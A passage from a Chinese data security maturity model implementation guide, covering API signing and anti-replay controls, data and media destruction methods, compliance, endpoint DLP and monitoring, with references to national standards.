在数据共享交换中,通过API数据接口获取数据是常见的方式。如果对于数据接口进行攻击,将导致 数据通过数据接口泄漏,相关可能存在的攻击方式如下: 伪装攻击。例如:第三方有意或恶意的调用。 篡改攻击。例如:请求头/查询字符串/内容 在传输过程被修改。 重放攻击。例如:请求被截获,稍后被重放或多次重放。 数据信息监听。例如:截获用户登录请求,截获到账号、密码等敏感信息。 通过建立组织机构的对外数据接口安全管理机制,防范组织机构在数据接口调用过程中的安全风险。 10.5.4.2 过程域具体标准要求解读 l 制度流程: ——从接口身份认证、防重放、数据防篡改、防泄漏角度制定数据接口的安全限制和安全控制措 施; ——通过制定数据接口安全规范,明确数据接口设计要求; ! 51! ——通过合作协议明确数据接口调用的目的、用途等内容,对接口调用方的行为进行合法性和正 当性约束; l 技术工具: ——通过 HTTPS 协议构建的可进行加密传输、身份认证的网络协议,解决信任主机和通讯过程中 的数据泄密和数据被篡改的问题; ——通过公私钥签名或加密机制提供细粒度的身份认证和访问、权限控制,满足数据防篡改和数 据防泄漏要求; ——实现时间戳超时机制,过期失效,满足接口防重放要求; ——通过接口参数过滤、限制,防止接口特殊参数注入引发的安全问题; ——通过接口调用日志的收集、处理、分析,从接口画像、IP 画像、用户画像等维度进行接口调 用行为分析,并且产出异常事件通过告警机制进行实时通知; 10.5.4.3 过程域充分定义级实施指南 l 技术工具: 案例:《XX接口开发规范》关键内容: 统一接入URL:https://open-api.***.***.com 接入方式:支持http的get或post方式,具体参看接口 系统编码: UTF-8 接入认证: appkey:应用key secretkey:应用密钥 签名机制: 所有的 URL 调用里需要携带如下四个参数: 表 7:URL 调用携带的参数 ! 字段! 描述! 说明和示例! appkey! 密钥! Xxxx! timestamp! unix 时间戳! 精确到秒,如:1482595200! v! 调用接口 api 版本! 目前 API 版本,初始接口版本都是 1.0! sign! 签名! SHA256(appkey=xxx&timestamp=xxx&v=xxx&appsecre t=xxx),结果采用小写方式,如:! ! ! 52! ff3f4036a1164d1ddbad5b3edf9022addb3e1961a54a92 2708a6c1ffc49e5489! 返回结果: ! 调用结果都以 json 形式返回,其中如下参数用于判断调用状态:! ! 表 8:判断调用状态的参数! ! 字段! 描述! 说明和示例! success! 布尔型,调用 结果状态! 成功时候为:true! ! 失败为:false! message! 字符串,调用 描述! ! 如"successful"! code! 整型,状态码! 正常为 200,服务器错误时候可能为其他,可以忽略, 只看 success 状态! data! 结构体,数据 内容! 由 items(数组)和 total 组成! ! l 标准参考: ——GB∕T 32908-2016《非结构化数据访问接口规范》 10.6 数据销毁安全 10.6.1 PA18 数据销毁处置 10.6.1.1 过程域设定背景和目标 数据销毁有两个目的,一是合规要求,国家法律法规要求重要数据不被泄露;另外就是组织本身的业 务发展或管理需要。计算机或设备在弃置、转售或捐赠前必须将其所有数据彻底删除,无法复原,以免造 成信息泄露,尤其是国家涉密数据。有许多政府机关、民营企业,受限于法律规范,必须确保许多数据的 机密。另外,存储大量、过时的数据不仅消耗硬盘存储空间,而且还会拖慢计算机系统运行速度,甚至可 能增加被黑客攻击的风险。 日常工作过程中,用户往往采取删除、硬盘格式化、文件粉碎等方法销毁数据,这样的做法非常不安 全。以下是对这几种普通的“数据销毁”方式安全性分析。 ! 53! 删除文件:删除操作并不能真正擦除磁盘数据区信息。用户的删除命令只是将文件目录项做了一 个删除标记,数据区并没有任何改变。一些数据恢复工具正是利用了这点,绕过文件分配表,直 接读取数据区,恢复被删除的文件。因此,这种数据销毁方法最不安全。 格式化硬盘:“格式化”又分为高级格式化、低级格式化、快速格式化等多种类型。多数情况下, 普通用户采用的格式化不会影响硬盘上的数据区。格式化仅仅是为操作系统创建一个全新的空文 件索引。将所有扇区标记为“未使用”状态,让操作系统认为硬盘上没有文件。因此,采用数据 恢复工具软件也可以恢复格式化后数据区中的数据。 使用文件粉碎软件:为满足用户彻底删除数据的需要,网上出现了很多所谓的文件粉碎软件,一 些防病毒软件也增加了文件粉碎功能,不过这些软件大多没有通过专门机构的认证,可信度和安 全性都值得怀疑,用于处理一般的私人数据还可以,但不能用于处理带有密级的数据。 基于以上考虑,组织要根据不同要求和需要采取不同的数据销毁策略和技术手段,已实现对数据的有 效销毁,防止因对存储介质中的数据内容进行恶意恢复而导致的数据泄漏风险。 10.6.1.2 过程域具体标准要求解读 l 制度流程: ——数据销毁场景:什么场景下需要做数据销毁,结合业务和数据重要性需要; ——数据销毁方法:根据数据分类和分级,已经场景需要,确定销毁手段和方法,包括物理销毁 和逻辑销毁,比如覆写法、消磁法、捣碎法/剪碎法、焚毁法。 ——数据销审批流程:主要针对重要数据,销毁的合理性和必要性评估; ——数据销毁监督流程:设置销毁相关监督角色,监督操作过程,并对审批和销毁过程进行记录 控制; ——数据销毁指南:针对不同介质所存储数据的具体销毁方法和技术,比如针对网络存储、闪存、 硬盘、磁带、光盘等存储数据所应采用的数据销毁的方法和技术,建立网络数据分布式存储 的销毁策略与机制。 l 技术工具: ——数据销毁的技术工具要多样化,保证满足各种类型的数据销毁,比如:针对网络存储数据、 针对闪存、硬盘、磁带、光盘等存储数据;保以不可逆方式销毁数据及其副本内容 10.6.1.3 过程域充分定义级实施指南 两种清除数据需求: 清除(Clearing):在重新使用媒体之前,彻底删除媒体中数据的程序,且在清除媒体中数据之 前,作业环境可提供可接受的保护等级。举例来说,所有内部存储器、缓冲区或其他可重复使用 ! 54! 的内存,都必须执行清除,以有效杜绝读取先前储存的数据。 销毁(Sanitization):在重新使用媒体之前,彻底删除媒体中数据的程序,且在销毁媒体中数 据之前,作业环境无法提供可接受的保护等级。例如,当信息系统资源从保密信息管制下释出、 或释出到较低的保密层级使用前,都必须执行数据销毁。 执行数据清除或销毁的方法: 无论旧版DOD 5220.22-M或后来的DSS C&SM,均分别针对磁带、磁盘、光盘、内存等四种类型的储存 媒体,以及同样会暂存数据的打印机,提出了17种删除数据的方式。而这些方式中,有15种适用于储存媒 体,又可分为消磁、覆写、紫外线删除与物理摧毁等基本方式: 消磁:可适用于磁带与磁盘,分为 Type I 与 Type II 两种层次的消磁,对应于 Type I、II 两种 类型的磁带。 使用消磁要特别注意,首先某些磁带与抽取式硬盘(如 LTO 磁带与 Zip 盘片)内含有出厂时预录 的讯息,若强制执行消磁而使这些讯息消失,这些媒体将无法再被重复使用。其次是美国国防部 的 Type I/II 消磁标准已太过老旧,要对当前的磁带实施消磁,最少也得使用消磁能力 2500~ 3000Oe 的消磁机;若要消磁硬盘,则需要的消磁能力将达到 4000~5000 Oe 以上。 覆写:包括几种不同方法,如把所有储存寻址位置都填入单一字符;所有寻址位置都填入单一字 符后,再随机填入字符;以随机方式覆写所有寻址位置,所有位置都填入二进制 0 值、所有位置 都填入二进制 1 值;或事先透过制造商提供的工具删除芯片中数据,然后把所有寻址位置都填入 单一字符,然后重复三次等等。 紫外线照射删除与移除电源:紫外线照射删除适用于 EPROM,移除包括电池在内的所有电源则适 用于 DRAM、NOVRAM 与 SRAM。 l 技术工具参考: 选购消磁机时,必须考虑的产品规格要素有几点: ——要进行数据清除或销毁的储存媒体磁场强度。针对高磁场强度的媒体,必须选择更强力的消 磁机。 ——需执行数据清除或销毁的储存媒体数量,如果数量不多,可选购手动式的桌上型单卷或多卷 装消磁机;如果每月都要销毁上百台硬盘或磁带中的数据,则需选择自动化、有输送带设备 的大型消磁机。 ——确认是否有遵循官方认证的需求。比如通过国家保密局认证或军 C+级认证等,若企业为美国 或其他西方政府机构的合约商、或业务上牵涉到必须遵循某些美国数据安全管理法令,则需 使用通过特定认证许可的消磁机机型。 l 标准参考: ! 55! ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》6.6 节“数据销毁” ——美国国防部 DoD 5220.22-M 国家工业安全计划操作手册(National Industrial Security Program Operating Manual,NISPOM)(95 年 1 月发布,97 年 7 月修正)第 8 章第 3 节的一 部分,提供了一个清除与销毁数据方法的参考矩阵表。 ——美国国防部所属国防保安处(Defense Security Service,DSS)提供数据清除与销毁方法参 考矩阵表(Clearing and Sanitization Matrix,C&SM)。 ——GA/T 1143-2014《信息安全技术 数据销毁软件产品安全技术要求》 10.6.2 PA19 介质销毁处置 10.6.2.1 过程域设定背景和目标 这部分主要是考虑到存储介质需要被替换掉或淘汰掉不再使用,对存储介质进行彻底的物理销毁,保 证数据无法复原,以免造成信息泄露,尤其是国家涉密数据。 10.6.2.2 过程域具体标准要求解读 l 制度流程: ——介质销毁方法介绍,如捣碎法/剪碎法、焚毁法。 ——介质销毁审批流程:主要针对重要数据,销毁的合理性和必要性评估; ——数据销毁监督流程:设置销毁相关监督角色,监督操作过程,并对审批和销毁过程进行记录 控制; ——数据销毁指南:针对不同介质所存储数据的具体销毁方法和技术,比如针对网络存储、闪存、 硬盘、磁带、光盘等存储数据所应采用的数据销毁的方法和技术,建立网络数据分布式存储 的销毁策略与机制。 10.6.2.3 过程域充分定义级实施指南 l 技术工具参考: ——捣碎法/剪碎法:破坏实体的储存媒体,让数据无法被系统读出,也是确保数据机密性与安全 性的方法之一。采用实体捣碎的方式,让数据储存媒体残骸,无法被有心人士利用。比如, 某些大型企业会将储存数据的光盘片,进行大型机器捣碎、绞碎的动作。 ——焚毁法:几乎每一个需要汰换的储存媒体最终都会面临,藉由焚毁让数据真正化为灰烬,永 久不复存在。有的企业甚至要求主管部门领导必须亲临现场监督旧数据焚毁状况与进度,落 ! 56! 实数据保全的最后一步。 l 标准参考: ——BMB21-2007《涉及国家秘密的载体销毁与信息消除安全保密要求》 ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》6.6 节“数据销毁” 10.7 通用安全 10.7.1 PA20 数据安全策略规划 10.7.1.1 过程域设定背景和目标 基于组织业务发展需要,对当前组织面临的数据安全风险现状进行梳理并制定整体的规划,着眼于未 来,是需要高管参与讨论和制定的。数据安全工作不是某个业务或部门的单方面的事,需要整个组织所有 部门都参与进来,要平衡与业务发展的冲突,自上而下的推动,才可能保证落到实处和效果。 10.7.1.2 过程域具体标准要求解读 l 制度流程: ——数据安全策略是顶层的,要从组织级层面通盘考虑,所以需要组织的高管参与共同制定;既 不能对当前业务发展有严重影响,也要考虑到业务长远发展需要,所以需要高层讨论商定取 得合理的平衡; ——数据安全方针和策略,需明确数据对组织的价值和意义,应该以数据为核心围绕数据做工作, 而不是其他诸如信息系统或研发技术等; ——策略规划的编写、评审、发布如果没有流程规范,容易导致组织内各业务部门获取不到最新 版本,或者理解偏差,所以需要统一的发布窗口或路径,以及解读和宣贯,以确保策略的有 效性和及时性; l 技术工具: ——运营管理技术工具,是为了方便方针策略的发布有统一和唯一的官方渠道,保证版本内容最 新最准准确,且在组织内传达和推广高效,更便于策略规范的落地推进。 10.7.1.3 过程域充分定义级实施指南 l 制度流程参考: 主要有两份输出:数据安全方针政策和数据安全策略规划,及其编写、评审和发布等方面。 方针政策:是对组织级数据安全管理的基本原则和办法,可以结合数据安全总纲从目标、 ! 57! 原则、监管合规、数据生命周期、数据资产和分类分级定义,及相关违规处罚等方面进行 描述; 策略规划:需要周期性地输出数据安全能力战略规划,比如半年度/年度/三年/五年等; 另外,数据安全策略的编写、评审、发布及更新,要明确到具体责任团队和责任人,可以由数据 安全管理团队牵头编写,并由高管组成的数据管理委员会评审和批准发布。 案例参考: 案例1:《XXX公司信息安全管理方针和策略》关键内容: 信息安全管理目标 内部环境 外部环境 信息安全管理体系 领导力和管理承诺 应对风险和机会措施 案例2:《xxx公司数据安全总体规范》关键内容: 数据安全管理目标 数据安全基本原则 数据安全监管合规 数据生命周期安全管理 数据资产和系统资产 数据分类和分级 数据安全违规处分 l 技术工具参考: 建立一个网站平台即可,也可以考虑在内部OA系统有专门板块向组织全体员工发布数据安全 策略规划,以及相应落地解读材料,以便于策略规范的落地推进。 l 标准参考 ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》5.1 节“策略与规程” 10.7.2 PA21 人力资源安全 10.7.2.1 过程域设定背景和目标 ! 58! 组织的数据安全策略、制度流程和技术工具等推进落地终究离不开人的执行,组织内不同部门、不等 层级及不同来源的员工,在不同场景下直接和间接地接触数据资产,所以风险始终存在于人身上,需要联 合人力资源部在员工的招聘/引进、入职、转岗/调岗、离职等各个环节设置相应的风险控制措施,以降低 人本身问题导致的数据安全风险。 10.7.2.2 过程域具体标准要求解读 l 制度流程: ——数据安全在员工方面的风险,人力资源部要配合高管建立和优化组织级的数据安全管理部门 和岗位设置,引进数据安全专业人才,并配合数据安全管理部门在人力资源管理过程关键环 节推行数据安全管理措施,以及安全文化宣导和安全意识提升等; ——对组织内员工类型进行合理分类,比如正式员工、外包员工、试用期员工、实习生,其他兼 职和外聘人员等,以及不同层级和职位,以方便数据安全策略在相不用类型及不同层级的员 工之间进行风险控制; ——人力资源部需要制定不同类型员工激励和处罚的制度,并将员工在职期间在数据安全方面的 义务和职责纳入人力资源激励和惩罚的范畴。 l 技术工具: ——数据安全控制措施要和人力资源管理系统相结合,尽可能做到线上审批流程必须的审批或确 认步骤; ——向组织全体员工公示的内容包括数据安全策略、数据安全管理制度、数据安全管理团队和业 务部门负责人,以及数据安全违规处罚等。 10.7.2.3 过程域充分定义级实施指南 l 制度流程参考: 可以分别从以下各方面考虑人力资源的制度规范, 组织内各职能部门和岗位之间涉及数据安全相关工作的协作关系,运行配合要求。 招聘:员工候选人背景调查,根据法律法规、行业道德准则要求等方面进行; 培训:对新入职和在岗员工进行定期或不定期的数据安全制度和意识宣贯。 考核:根据不同层级和岗位的数据安全的考核或考评要求; 转岗:在职期间转岗的工作交接,权限回收及已落到办公终端本地的数据清理等; 离职:提出离职到正式离职期间工作交接,权限回收和已落到办公终端本地的数据清理等, 离职后的竞业协议协商和签署等; ! 59! 激励和处罚:将员工在职期间在数据安全方面的义务和职责纳入人力资源激励和惩罚的范畴; 案例参考: 暂无 l 技术工具参考: 可以考虑两类主要工具, 人力资源管理系统,在招聘、入职、转岗/调岗、离职,以及培训考试和绩效考核等子系统 或环节,将数据安全控制要求植入,作为必须的审批或确认步骤; 和数据安全策略公布一样,有独立网站或在内部 OA 系统设置专门板块,向组织全体员工发 布数据安全策略、管理制度、数据安全管理团队及业务部门负责人等。 案例参考: 暂无 l 标准参考 ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》5.3 节“组织与人员管理” 10.7.3 PA22 合规管理 10.7.3.1 过程域设定背景和目标 合规管理是组织数据安全最基础的能力层面和底线,合规管理的目标是避免组织违反需要符合的国 内外法律、行业监管指引、制度、规范,避免因不合规导致的风险。本过程域的设定,即要求建立数据 安全合规文化和有效的合规风险预防、预警及监督机制。 10.7.3.2 过程域具体标准要求解读 l 制度流程: ——依据法律法规及相关标准中对重要数据的保护要求,建立组织统一的符合性管理规范,该规 范应包括但不限于个人信息保护、重要数据保护、跨境数据传输等方面的安全合规需求,并 对相关方宣贯合规要求的内容,以保证组织整体合规意识的提升; ——建立一份当前组织需要遵照的外部合规要求清单,并实时跟踪外部合规要求的发布、预研, 保持清单的更新; ——建立一套适用的数据安全合规监督检查标准和清单,用于指导常规检查、专项检查和事件驱 动检查等,以确保符合相应的数据安全政策、标准及其他数据安全要求; ——建立一套适用的整改和考核规范,用于指导检查发现和整改情况的跟踪、报告管理、问题管 理等。 ! 60! l 技术工具: ——建立法律、行业监管指引、外部制度、规范条款的统一电子合规平台,并将各类外部要求去 重合并、分解转化为数据安全合规元要求,并据此和组织实际情况梳理出内部管理要求; ——建立一套检查跟踪系统,实现检查计划制定、检查实施、报告管理、问题跟踪等全过程的电 子化管理,并将检查发现和整改情况纳入问题管理流程。 10.7.3.3 过程域充分定义级实施指南 参考案例: 某行业案例1:规章文档平台 在办公系统中,建立了规章文档平台,供员工查询和学习。通过该平台的建立: 统一来自所有金融风险管理系统的合规和风险信息,形成涵盖整个组织的风险视图; 供内部使用的可以根据关键字进行快速检索查询外部标准和要求; 统一的数据安全元要求,并形成外部标准和内部管理规范的对应关系,定期更新和查漏补缺, 避免合规风险。 某行业案例2:法律、标准: 我国在2016年出台,2017年6月1日正式生效的网络安全法,全称《中华人民共和国网络安全 法》; 欧盟在2015年出台,2018年5月正式生效的一般数据保护条例,全称为《General Data Protection Regulation》(简称 GDPR); 我国在2018年正式出台,5月1日正式生效的GB/T 35273《信息安全技术 个人信息安全规范》; 2018年5月21日银保监会正式发布的《银行业金融机构数据治理指引》; 我国已经在制定即将颁布的《数据出境管理办法》、《重要数据管理办法》、《中华人民共和国 密码法》等。 某行业案例3:合规监督检查 依据监管要求、外部标准、内部规范梳理出一套适用的检查标准,并进行全面覆盖的检查。 通过识别,外部规范分解成3大类、27小类要求,去重合并后形成外规内规对应关系,也就 是数据安全风险检查标准库; 制定全年检查计划,建立常规检查、专项检查、事件驱动检查相结合的方式,100%覆盖数据 安全风险检查标准库; ! 61! 专项检查围绕数据安全域,包括数据采集安全、数据传输安全、数据处理安全、数据交换安 全以及通用安全域; 常规检查注重数据权限管理、数据对外数据等日常运营重点模块; 事件驱动检查一般在发生可用性事件、信息安全事件或重大违规违纪事件发生后进行。检查 发现,全部纳入问题管理流程进行跟踪管理。通过问题跟踪机制,可以充分确保问题统一归 口管理无遗漏,相关整改的方案可实施、进度有跟踪、实施有成效。 10.7.4 PA23 数据资产管理 10.7.4.1 过程域设定背景和目标 数据资产是组织拥有和控制的、能够给企业管理、应用服务和商业拓展带来价值的数据信息。只有 洞悉数据资产重要程度与分布、使用对象与场景、授权与责任等,才能有效的实施数据资产风险管理和 安全防护。一般而言,数据资产安全管理工作包含资产识别、资产重要度定级、资产变更管理与监测、 资产风险管理等。 10.7.4.2 过程域具体标准要求解读 l 组织建设: ——设置数据资产管理组织,按照统一的规章制度管理企业数据资源,各业务团队应配置具体人 员负责本级业务范围内的数据资产管理工作。 l 制度流程: ——实施数据资产全生命周期监督管理,各业务团队数据资产管理责任人应按照相关要求及时登 记、更新和定期维护本级数据资源; ——建立数据资产目录(数据资产地图)并提供检索服务,数据表责任到人; ——建立数据资产变更管理审批流程,实时监控数据资产的上线、变更、转移、销毁等信息,并 配置相适应的安全管控措施。 l 技术工具: ——通过智能数据目录等技术工具辅助实现数据资产登记和分类工作。 10.7.4.3 过程域充分定义级实施指南 ! 62! 数据资产管理案例:数据资产管理平台 该组织的业务部门多、数据来源广、人员角色复杂、数据使用链路有待完善,通过统一的数据 资产管理平台,全面掌握了数据分布、使用流向、人员访问等,有效提高了数据安全管理能力。 数据类目体系,依托企业数据知识图谱,对全量数据资产进行业务打标和类目挂载,从而构 造出数据资产地图,实现数据资产可视化,全面把握及科学分析数据资产、帮助用户清晰查 看及快速使用数据资产。 数据资产等级,根据数据被使用场景的重要程度,对数据资产划分等级。对不同等级的数据, 给予不同等级的保障,包括但不限于:资源、监控、变更通知等。 全链路数据追踪,通过构建采集端-生产端-服务端全链路闭环,实现从数据采集、数据加工 生产、数据服务到用户消费的全链路分析保障,包括数据质量、安全、时效性及稳定性保障。 l 标准参考 ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》5.2 节“数据与系统资产” 10.7.5 PA24 数据供应链安全 10.7.5.1 过程域设定背景和目标 数据供应链是数据生产及流通过程中,涉及将数据产品或服务提供给最终用户所形成的网链结构。 数据供应链安全管理的核心是厘清各方权力责任边界,对各方数据交互行为进行合规管理,防范组织上 下游的数据供应过程中的安全风险。 10.7.5.2 过程域具体标准要求解读 l 制度流程: ——根据法律法规和企业规定,制定数据供应链安全管理的基本要求,包括数据供应链上下游的 责任和义务、合同要件、数据交互审批和审计原则。 ——通过协议方式,明确数据供应链上下游数据使用目的、使用方法、供应方式、保密约定等。 ——对数据服务商的数据安全能力进行评估,并将评估结果应用于供应商选择、供应商审核等供 应商管理过程中。 l 技术工具: ——通过技术工具完整的记录数据供应链授权信息、流转对账信息、场景使用信息等元数据信息, 实时监测和查询数据链路整体情况。通过日志分析等事后追踪分析手段,审计数据供应链上 ! 63! 下游合规遵循情况。 ——基于数据供应记录,利用技术工具对数据供应链上下游相关方的开展数据处理合规性审核和 分析。 10.7.5.3 过程域充分定义级实施指南 参考案例: 全链路数据追踪技术 全链路数据追踪是针对数据从哪里来、到哪里去,数据加工链路是什么,数据被哪些产品 使用,一个产品的加工链路如何保障等企业数据管理痛点问题,提出的产品及技术应用体系。 全链路数据追踪技术覆盖采集端、数据端、应用端、数据接口四个部分,能打通数据采集、生 产、消费、到产品服务的整个生产链路,服务于数据治理、数据安全、数据ROI评估等数据管理 各个方面。 l 标准参考 ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》5.5 节“供应链管理” 10.7.6 PA25 元数据管理 10.7.6.1 过程域设定背景和目标 元数据主要是描述数据属性的,或者描述信息资源或数据等对象的数据。同时元数据本身也是数据, 因此可以用类似数据的方法在数据库中进行存储和获取,进行元数据管理目的在于:识别和评价数据资源, 追踪数据资源在使用过程中的变化;实现简单高效地管理大量网络化数据;实现信息资源的有效发现、查 找、一体化组织和对使用资源的有效管理。如果没有元数据,组织IT系统中收集和存储的所有数据都会失 去意义,也就没有业务价值。 元数据根据本不同维度有不同分类,常见的按功能分为管理元数据、技术元数据和业务元数据。 管理元数据:面向管理人员,对管理相关信息的描述,如管理流程、人员职责、工作内容分配等; 技术元数据:面向技术人员,对数据结构和数据处理细节等方面的技术化描述,如数据库结构,数据 集市定义,数据处理过程描述等; 业务元数据:面向业务分析人员的数据和处理规则业务化描述,比如业务规则、业务术语、指标口径 和信息分类等。 DSMM对元数据及其管理的定义相对比较窄,主要是指技术元数据。 10.7.6.2 过程域具体标准要求解读 ! 64! l 制度流程: ——元数据及数据字典定义; ——元数据统一编写要求,比如数据格式、数据域、字段类型、表结构等; ——元数据访问控制要求,比如数据管理角色及其授权; ——元数据的更新和变更管理要求; ——元数据变更和访问操作日志记录和审计要求; l 技术工具: ——元数据管理平台将各个领域的元数据集中起来统一提供服务,在同一领域应“标准化”;在不 同领域,应妥善解决不同格式的互操作问题; ——对元数据本身的访问需要进行身份验证和授权,根据不同角色合理需求开放,并记录操作日 志以便于监控和审计。 10.7.6.3 过程域充分定义级实施指南 l 技术工具参考: 元数据管理系统参考示意: 图9:元数据管理系统架构设计 l 相关实践参考: • 电信元数据管理 64 页 • 信息集成:元数据管理全景 40 页 • 浅谈电子政务元数据框架 3 页 ! 65! • 电子文件管理中的元数据 21 页 • 中国移动元数据经营分析 47 页 l 标准参考 ——GB∕T 35274-2017《信息安全技术 大数据服务安全能力要求》5.4 节“元数据安全” 10.7.7 PA26 数据终端安全 10.7.7.1 过程域设定背景和目标 终端是组织存储、处理、交换大量敏感数据的环境,一方面终端环境的复杂、多变、使用体验等都 给终端数据安全管控的实践带来更多的挑战,另一方面在不同人员角色、复杂使用场景以及跨国、组织 和系统的数据流动下,给组织数据安全带来更多的威胁。本过程域的设定,即要求建立相关管理和技术 的终端保护措施来保证数据可用性和安全性的平衡。 10.7.7.2 过程域具体标准要求解读 l 制度流程: ——建立终端安全管控规范,至少覆盖网络准入、补丁管理、安全基线、入侵防御、防病毒、数 据防泄漏、软件管理、行为审计等方面。终端防护对象需根据组织实际资产展开,包括但不 限于:各类办公终端、业务终端、移动终端等; ——建立员工终端行为管理规范,对用户在终端上的数据访问、处理、存储和交换行为进行明确 要求、检测和管控,并明确责任和义务; ——建立或在原有信息安全事件处置中新增数据丢失、泄露、篡改类事件的应急预案、处置流程。 l 技术工具: 组织应整体考虑终端安全解决方案,包括终端环境的安全性和数据流动的安全管控: ——建立一套或兼容的终端管理平台,实现终端准入、资产管理、补丁管理、安全基线、入侵检 测、防病毒、行为审计等方面的管控; ——建立数据防泄漏(DLP)平台,可根据组织业务场景需要构建基于加密或边界管控的思路来实 现,辅助以水印、标记、协议管控、打印管控等手段,实现发现、加密/边界管控、审计的 数据泄露闭环防护体系; ——建立移动安全管理平台,对移动端的数据存储、数据传输、数据分发、数据访问等行为进行 管控。 ! 66! 10.7.7.3 过程域充分定义级实施指南 某行业案例1:某组织数据终端安全管理实践 1)制度建设 《终端安全管理办法》关键内容 总则,说明背景、管理对象和范围、名词解释等 组织管理,说明组织架构、管理职责等 终端管控,说明网络准入、补丁管理、安全基线、入侵防御、防病毒、数据防泄漏、软件管 理、行为审计等方面的管理要求等 附则,约定罚则、制度生效日等 《员工桌面计算机使用安全管理手册》 总则,说明背景、管理对象和范围、名词解释等 总体原则,约定员工使用等 使用规范,包括系统使用、办公安全、病毒防护等方面; 附则,约定罚则、制度生效日等 2)数据防泄漏(DLP)平台 通过部署数据防泄漏(DLP)平台,以统一策略为基础,以敏感数据为保护对象,根据数据 内容主动防护,对所有敏感数据的输入输出通道如邮件、U盘拷贝、打印、共享等多渠道进行监 管,根据策略管控要求进行预警、提示、拦截、阻断、管控及告警等。平台实施后,4个高风险 不复存在,完全被降低为中低风险。并通过强化敏感数据审核与管控机制以降低敏感数据外泄的 发生几率及提升可追朔性。 某行业案例2:某组织桌面管理系统、杀毒软件、入侵检测系统 该组织在全国各地均有办公地点,在业务合作、系统开发测试和运维领域均有大量的合作 外包,通过桌面管理系统、杀毒软件、入侵检测系统和桌面虚拟化实现了接入、设备、应用、 数据等多维度管控,从而保证了数据的安全性: 1) 通过桌面管理系统实现办公终端网络准入控制,实现终端使用者身份验证、终端设备 安全合规检查、使用者访问权限控制; ! 67! 2) 通过桌面管理系统实现办公终端安全运维管理及审计,包括并不限于终端软、硬件信息 搜集、设备拓扑发现、设备定位、本地安全管理、终端流量控制、补丁管理、软件分 发、远程协助、非法外联、移动介质管理和操作审计等; 3) 通过主机入侵防御系统(HIPS),实时监控系统异常操作行为,第一时间发现和阻断入 侵行为; 4) 通过统一管理的杀毒软件系统,实现覆盖全网的、可快速应急的防病毒体系; 5) 通过桌面虚拟化环境,对驻场的开发、测试、业务等外包场景进行集中管理、统一配 置,杜绝私自的数据交换场景,避免了数据外泄的风险。 某行业案例3:移动安全管理平台 该组织的移动办公和业务开展场景应用广泛,办公类包括移动审批、移动OA、移动财务、 移动HR等,业务开展场景包括移动展业、移动营销等。通过部署了MDM解决业务场景,部署MAM 和MCM结合管控解决BYOD场景。基于以上举措解决了移动终端的数据安全风险。 1) 移动终端部署虚拟安全域,通过对应用增加一个“壳”文件,使应用运行在安全的容 器内,监控管理应用的各种操作,实现安全防护; 2) 应用级安全接入隧道,仅允许指定的工作应用,例如邮箱、OA应用,通过应用级的VPN 连接到组织内部网络,保证敏感数据在传输过程中的安全性; 3) 移动应用本地敏感数据根据需要进行转加密,并控制应用调用权限; 4) 移动应用截屏保护、录屏保护、应用限制分享。 l 标准参考 ——GB∕T 34977-2017《信息安全技术 移动智能终端数据存储安全技术要求与测试评价》 ——GB/T 34978-2017 《信息安全技术 移动智能终端个人信息保护技术要求》 ——GB/T 35278-2017 《信息安全技术 移动终端安全保护技术要求》 10.7.8 PA27 监控与审计 10.7.8.1 过程域设定背景和目标 数据安全保护的一个前提是知晓数据在组织内的安全状态,由于数据风险通过数据流动,贯穿多个 系统和阶段中,形成了一个难以分割的风险整体,所以需要组织在数据生命周期各阶段(数据采集、数 据传输、数据存储、数据处理、数据交换、数据销毁)开展安全监控和审计,以实现对数据安全风险的 ! 68! 防控。本过程域的设定,即要求建立相关的措施对非法采集、未授权访问、数据滥用、数据泄漏进行监 控和审计。通过数据分析来支撑有效的安全、合规决策,从而降低数据安全风险。 10.7.8.2 过程域具体标准要求解读 l 制度流程: ——建立或在数据安全整体策略中规范数据安全监控审计策略,覆盖数据采集、数据传输、数据 存储、数据处理、数据交换、数据销毁各阶段的监控和审计; ——建立或在原有信息安全事件处置中新增监控审计出数据安全类事件的应急预案、处置流程。 l 技术工具: ——建立数据安全监控审计平台,对组织内所有网络、系统、应用、数据平台等核心资产中的数 据流动进行监控和审计,并进行风险识别与预警,以实现数据全生命周期各阶段的安全风险 防控; 10.7.8.3 过程域充分定义级实施指南 某行业案例1:制度建设 《数据安全日常监控和审计管理办法》 总则,说明背景、管理对象和范围、名词解释等 组织管理,说明组织架构、管理职责等 管理内容,说明监控和审计的策略、对象、内容、监控要求、日志保存要求等; 异常流程处置,约定发生事件的处理流程和参考文件; 附则,约定罚则、制度生效日等 某行业案例2:数据安全监控审计平台 该组织的业务场景变化迅速、组织和人员角色复杂、数据输出管控有待完善,通过部署数 据安全监控审计平台,对人员、业务、系统、合作伙伴进行全面布控,有效提高风险预警能力 和风险运营能力。 工具平台: 数据采集,数据来源包括了员工基础数据、网络数据、终端数据、系统和应用数据等;日志 数据获取的方式支持了JDBC、文本文件、Syslog、SNMP、API、Agent 、WINDOWS事件日志、 Netflow等,日志内容支持文本、XML、JSON等,可针对特殊采集场景进行定制化; ! 69! 数据整合,通过关联业务数据对采集的信息进行补全和数据的标准化定义,按照5W1H的方法 进行数据统一,并根据行为共性,抽像出归一化的数据流动和行为主题域; 数据分析,以敏感数据为中心,建立多维度行为基线,利用机器学习算法和预定义规则找出 严重偏离基线的异常行为,及时发现内部用户、合作伙伴窃取数据等违规行为; 平台运营,建立了发现、审计、处置和反馈的运营循环机制。 风险大图,可视化、可感知使得风险统一监控、统一告警、统一处置、统一恢复; 覆盖场景: 敏感数据外发 u盘大量拷贝文件或大量打印文件 内网机器向外网大量发送文件 特定账号从FTP下载大量文件 FTP账号被暴力破解后窃取数据 文件服务器下载大量文件 数据库dump操作(数据库拖库) 特定账号FTP下载文件后上传同名文件 FTP账号被暴力破解后篡改数据 发现勒索软件 数据库危险操作或高危命令 API滥用 …… l 标准参考 ——GB/T 35274-2017 《信息安全技术 大数据服务安全能力要求》 ——GB/T 22239-2008《信息安全技术 信息系统安全等级保护基本要求》 ! ! 70! 11 参考文献 [1] DB 52/T 1123—2016《政府数据 数据分类分级指南》 [2] 国发〔2016〕51 号《政务信息资源共享管理暂行办法》 [3] BMB21-2007《涉及国家秘密的载体销毁与信息消除安全保密要求》 [4] SJ 20901-2004《硬磁盘信息消除器通用规范》 [5] 